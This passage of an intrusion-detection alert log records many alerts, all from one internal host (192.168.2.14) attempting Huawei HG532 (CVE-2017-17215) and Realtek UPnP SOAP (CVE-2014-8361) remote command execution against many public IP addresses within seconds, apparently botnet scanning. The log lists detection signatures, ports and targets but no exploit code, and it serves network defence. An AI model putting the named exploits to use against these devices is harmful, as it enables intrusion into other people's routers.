Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.32.197.143

Timestamp:	07/20/24-23:01:19.231068
SID:	2835222
Source Port:	41934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.65.12

Timestamp:	07/20/24-23:01:33.081950
SID:	2829579
Source Port:	51934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.220.26.182

Timestamp:	07/20/24-23:01:02.411450
SID:	2835222
Source Port:	53680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.251.51

Timestamp:	07/20/24-23:01:25.301172
SID:	2835222
Source Port:	44536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 211.247.22.129

Timestamp:	07/20/24-23:01:06.908121
SID:	2027339
Source Port:	47792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.41.24.198

Timestamp:	07/20/24-23:01:14.397957
SID:	2835222
Source Port:	44358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 158.178.147.148

Timestamp:	07/20/24-23:01:05.479588
SID:	2025132
Source Port:	47768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.234.163.92

Timestamp:	07/20/24-23:01:07.684526
SID:	2829579
Source Port:	52702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 106.0.79.225

Timestamp:	07/20/24-23:01:24.827189
SID:	2025132
Source Port:	54392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 100.167.118.103

Timestamp:	07/20/24-23:01:29.577331
SID:	2025132
Source Port:	47006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.15.22.51

Timestamp:	07/20/24-23:01:11.467355
SID:	2829579
Source Port:	42748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 73.141.57.7

Timestamp:	07/20/24-23:01:23.004732
SID:	2025132
Source Port:	54816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.212.188

Timestamp:	07/20/24-23:01:28.196416
SID:	2829579
Source Port:	60728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.105.20.105

Timestamp:	07/20/24-23:01:22.804406
SID:	2835222
Source Port:	59690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 4.227.121.101

Timestamp:	07/20/24-23:01:24.077306
SID:	2027339
Source Port:	46878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.78.197.233

Timestamp:	07/20/24-23:01:28.222987
SID:	2835222
Source Port:	43558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 211.192.130.220

Timestamp:	07/20/24-23:01:13.329423
SID:	2027339
Source Port:	57202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.42.104.185

Timestamp:	07/20/24-23:01:14.397316
SID:	2829579
Source Port:	52822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.181.202.121

Timestamp:	07/20/24-23:01:28.170987
SID:	2835222
Source Port:	37550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.129.45

Timestamp:	07/20/24-23:01:02.416600
SID:	2835222
Source Port:	33058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.87.246

Timestamp:	07/20/24-23:01:02.440657
SID:	2835222
Source Port:	32874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.247.173.186

Timestamp:	07/20/24-23:01:37.122769
SID:	2829579
Source Port:	50500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.197.249.163

Timestamp:	07/20/24-23:01:14.406186
SID:	2829579
Source Port:	34374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 45.24.39.65

Timestamp:	07/20/24-23:01:34.899763
SID:	2027339
Source Port:	50474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.101.241

Timestamp:	07/20/24-23:01:33.049931
SID:	2835222
Source Port:	37904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 167.136.67.125

Timestamp:	07/20/24-23:01:34.939612
SID:	2831300
Source Port:	44338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 157.6.186.252

Timestamp:	07/20/24-23:01:34.918353
SID:	2831300
Source Port:	58686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.212.111.29

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	42456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.129.166

Timestamp:	07/20/24-23:01:19.227537
SID:	2829579
Source Port:	49074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.208.150

Timestamp:	07/20/24-23:01:25.230226
SID:	2829579
Source Port:	47544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.145.238.215

Timestamp:	07/20/24-23:01:33.390286
SID:	2027339
Source Port:	49362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.71.126.200

Timestamp:	07/20/24-23:01:11.478031
SID:	2829579
Source Port:	49060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.227.1.44

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	43578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.32.205

Timestamp:	07/20/24-23:01:02.408596
SID:	2835222
Source Port:	51150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.70.52.243

Timestamp:	07/20/24-23:01:05.475968
SID:	2027339
Source Port:	42316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 142.116.242.190

Timestamp:	07/20/24-23:01:31.206469
SID:	2025132
Source Port:	46596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.186.168.57

Timestamp:	07/20/24-23:01:24.727268
SID:	2027339
Source Port:	34282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.133.134.55

Timestamp:	07/20/24-23:01:05.439190
SID:	2027339
Source Port:	58474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.0.91

Timestamp:	07/20/24-23:01:11.481655
SID:	2835222
Source Port:	60998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.33.153

Timestamp:	07/20/24-23:01:19.224550
SID:	2835222
Source Port:	42688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.249.158.201

Timestamp:	07/20/24-23:01:28.208110
SID:	2835222
Source Port:	55854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.203.181

Timestamp:	07/20/24-23:01:07.680463
SID:	2835222
Source Port:	43712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.94.246.106

Timestamp:	07/20/24-23:01:24.075435
SID:	2027339
Source Port:	40352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 170.123.158.68

Timestamp:	07/20/24-23:01:05.482928
SID:	2025132
Source Port:	38976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.113.101.241

Timestamp:	07/20/24-23:01:24.078416
SID:	2027339
Source Port:	49964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.70.79.248

Timestamp:	07/20/24-23:01:11.477131
SID:	2835222
Source Port:	49936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.112.88.160

Timestamp:	07/20/24-23:01:22.772933
SID:	2835222
Source Port:	39898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.219.60.255

Timestamp:	07/20/24-23:01:14.397897
SID:	2835222
Source Port:	43776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.80.241.91

Timestamp:	07/20/24-23:01:05.898280
SID:	2835222
Source Port:	41186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.142.158

Timestamp:	07/20/24-23:01:14.397897
SID:	2835222
Source Port:	41518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 192.67.13.54

Timestamp:	07/20/24-23:01:34.972618
SID:	2027339
Source Port:	50346
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 27.2.47.157

Timestamp:	07/20/24-23:01:34.964842
SID:	2831300
Source Port:	47942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.92.243.137

Timestamp:	07/20/24-23:01:11.472602
SID:	2835222
Source Port:	34188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 1.85.153.115

Timestamp:	07/20/24-23:01:30.603978
SID:	2027339
Source Port:	40878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 5.43.253.115

Timestamp:	07/20/24-23:01:13.331639
SID:	2027339
Source Port:	45466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.24.106.58

Timestamp:	07/20/24-23:01:30.624414
SID:	2027339
Source Port:	33018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 196.159.190.117

Timestamp:	07/20/24-23:01:07.410378
SID:	2027339
Source Port:	47928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.79.119.12

Timestamp:	07/20/24-23:01:05.623290
SID:	2027339
Source Port:	60148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 81.201.211.116

Timestamp:	07/20/24-23:01:33.585677
SID:	2027339
Source Port:	42708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.207.11.247

Timestamp:	07/20/24-23:01:19.224455
SID:	2829579
Source Port:	34386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.177.62

Timestamp:	07/20/24-23:01:07.674717
SID:	2829579
Source Port:	49844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.175.70.101

Timestamp:	07/20/24-23:01:33.044521
SID:	2835222
Source Port:	35302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.82.97.159

Timestamp:	07/20/24-23:01:33.030189
SID:	2829579
Source Port:	53536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.21.193.219

Timestamp:	07/20/24-23:01:02.414527
SID:	2829579
Source Port:	58460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 167.34.165.20

Timestamp:	07/20/24-23:01:33.110605
SID:	2835222
Source Port:	47704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.65.23.29

Timestamp:	07/20/24-23:01:07.653968
SID:	2829579
Source Port:	49820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 148.132.169.125

Timestamp:	07/20/24-23:01:32.789082
SID:	2027339
Source Port:	42186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 77.70.6.175

Timestamp:	07/20/24-23:01:34.911249
SID:	2831300
Source Port:	48440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.161.187.149

Timestamp:	07/20/24-23:01:24.077306
SID:	2027339
Source Port:	38712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 153.229.202.106

Timestamp:	07/20/24-23:01:28.222987
SID:	2829579
Source Port:	33182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 105.235.42.192

Timestamp:	07/20/24-23:01:33.896440
SID:	2027339
Source Port:	40096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.19.201.2

Timestamp:	07/20/24-23:01:22.779210
SID:	2835222
Source Port:	50010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.61.21.55

Timestamp:	07/20/24-23:01:13.334387
SID:	2027339
Source Port:	48608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 91.156.224.14

Timestamp:	07/20/24-23:01:34.952293
SID:	2027339
Source Port:	45738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.234.82.81

Timestamp:	07/20/24-23:01:05.901568
SID:	2835222
Source Port:	36072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.193.107

Timestamp:	07/20/24-23:01:37.122769
SID:	2829579
Source Port:	38762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 175.5.152.252

Timestamp:	07/20/24-23:01:34.899868
SID:	2831300
Source Port:	36874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.58.85.188

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	43106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 49.217.12.33

Timestamp:	07/20/24-23:01:13.331580
SID:	2831300
Source Port:	52870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 218.196.239.193

Timestamp:	07/20/24-23:01:33.499276
SID:	2025132
Source Port:	59312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 53.62.238.12

Timestamp:	07/20/24-23:01:34.915141
SID:	2831300
Source Port:	39404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.0.117

Timestamp:	07/20/24-23:01:11.474688
SID:	2829579
Source Port:	40194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.209.236.20

Timestamp:	07/20/24-23:01:14.406708
SID:	2835222
Source Port:	44946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.136.139.92

Timestamp:	07/20/24-23:01:29.672048
SID:	2027339
Source Port:	55654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 153.32.219.22

Timestamp:	07/20/24-23:01:14.398311
SID:	2829579
Source Port:	60090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 148.218.221.20

Timestamp:	07/20/24-23:01:29.688290
SID:	2027339
Source Port:	49438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 13.17.82.210

Timestamp:	07/20/24-23:01:32.823464
SID:	2025132
Source Port:	37674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.246.123

Timestamp:	07/20/24-23:01:33.065212
SID:	2829579
Source Port:	45746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.138.223.143

Timestamp:	07/20/24-23:01:33.049931
SID:	2829579
Source Port:	44952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 114.78.57.39

Timestamp:	07/20/24-23:01:33.277218
SID:	2027339
Source Port:	46748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 213.207.143.98

Timestamp:	07/20/24-23:01:13.331934
SID:	2027339
Source Port:	51736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.94.179

Timestamp:	07/20/24-23:01:19.334799
SID:	2835222
Source Port:	46634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 96.104.96.175

Timestamp:	07/20/24-23:01:37.120918
SID:	2835222
Source Port:	34038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.237.101

Timestamp:	07/20/24-23:01:37.222600
SID:	2829579
Source Port:	41322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 222.32.122.10

Timestamp:	07/20/24-23:01:34.958933
SID:	2831300
Source Port:	57636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.36.191.164

Timestamp:	07/20/24-23:01:34.995513
SID:	2027339
Source Port:	60212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 213.207.143.98

Timestamp:	07/20/24-23:01:06.170284
SID:	2027339
Source Port:	50516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.174.72.27

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	37448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.219.228.225

Timestamp:	07/20/24-23:01:33.038711
SID:	2829579
Source Port:	38328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.155.236

Timestamp:	07/20/24-23:01:33.040755
SID:	2835222
Source Port:	55976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.225.116

